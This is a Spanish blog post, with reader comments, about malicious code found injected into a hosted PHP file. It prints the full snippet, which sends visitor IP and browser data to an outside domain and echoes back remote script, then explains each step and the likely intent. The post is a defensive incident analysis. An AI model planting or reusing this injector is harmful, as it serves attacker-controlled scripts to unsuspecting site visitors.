Hoy un compañero me pregunta: «oye, me están cambiando los permisos de un documento PHP alojado en mi web, ¿qué puede ser?» Como suena raro me levanto y veo qué le pasa: edita una fichero, lo sube por FTP, le pone los permisos adecuados y al minuto le son cambiados. Hummm Mientras repetimos el proceso, pensando a la vez que puede estar pasando, le llega un email de la empresa de hosting avisándole de un posible virus. Date, ya tenemos el motivo!
Editamos el documento en cuestión y vemos unas línea de código raras:
<?php #12a377# error_reporting(0); ini_set('display_errors',0); $wp_anscf0485 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_anscf0485) && !preg_match ('/bot/i', $wp_anscf0485))){ $wp_anscf090485="http://"."tag"."display".".com/display"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_anscf0485); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_anscf090485); curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_0485anscf = curl_exec ($ch); curl_close($ch);} if ( substr($wp_0485anscf,1,3) === 'scr' ){ echo $wp_0485anscf; } #/12a377# ?>
Le pregunto que qué hace ese código ahí y dice que cree que eso está bien. ¿Seguro? Si miramos el código vemos que:
1. deshabilita los mensaje de error.
2. recoge toda la información del cliente ($_SERVER[‘HTTP_USER_AGENT’])
3. compone una dirección: http://tagdisplay.com/display/?ip= donde le manda la IP del servidor, los datos del cliente y de donde viene.
4. le manda los datos y espera una respuesta.
5. si en la respuesta hay una cadena ‘scr’ la añade al documento.
A la vista de esta información, ¿qué creéis vosotros que está pasando? Si os digo que el dominio esta registrado en China [1] y [2], ¿os ayuda en algo? Por cierto, ¿cómo de actualizado pensáis que tenía su CMS?
[1] http://www.whois.net/whois/tagdisplay.com
[2] https://www.google.es/maps/place/Beijing/@39.933095,116.452758,17z/data=!3m1!4b1!4m2!3m1!1s0x35f1aced10d7a5e9:0x6f31f92b8bf22cca
Hola, a mí me ha pasado lo mismo en una web que hice para un cliente. ¿Sabes algo más sobre esto? ¿Cómo ha sucedido? ¿Qué pueden hacer con estos datos que se envían? ¿Se puede hacer algo legalmente contra esto?
Gracias y enhorabuena por tu blog, es muy interesante.
Hola @Juan,
no soy un experto en la materia pero te contesto por partes:
1. ¿cómo ha sucedido? Puede haber sido de muchas maneras, averiguarlo es la parte dificil del proceso de resolución de una incidencia de seguridad. Si tienes acceso a los logs de la máquina puedes hacer un estudio, pero esto no te garantiza nada porque el intruso puede haber borrado sus huellas.
2. ¿Qué pueden hacer con los datos?
en este caso en concreto, se llevan la variable _SERVER[«HTTP_USER_AGENT»] que contiene datos como: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36
de la que pueden saber sistema operativo y versión del navegador. Con ello pueden buscar una posible vulnerabilidad en tu versión de navegador en tu sistema operativo, o pueden descargarte javascript para ataques de XSS, u otro tipo de ficheros de malware (escribí sobre ello en «Una de malware y troyanos» [1])
3. ¿Se puede hacer algo legalmente contra esto?
Mientras estas páginas estén alojadas en servidores en paises con los que no hay tratados conjuntos sobre seguridad en la red poco podremos hacer, sólo estar prevenidos y tener nuestros sistemas actualizados.
Espero que este rollo te valga para algo. Un saludo
[1] http://www.nosoynadie.net/una-de-malware-y-troyanos/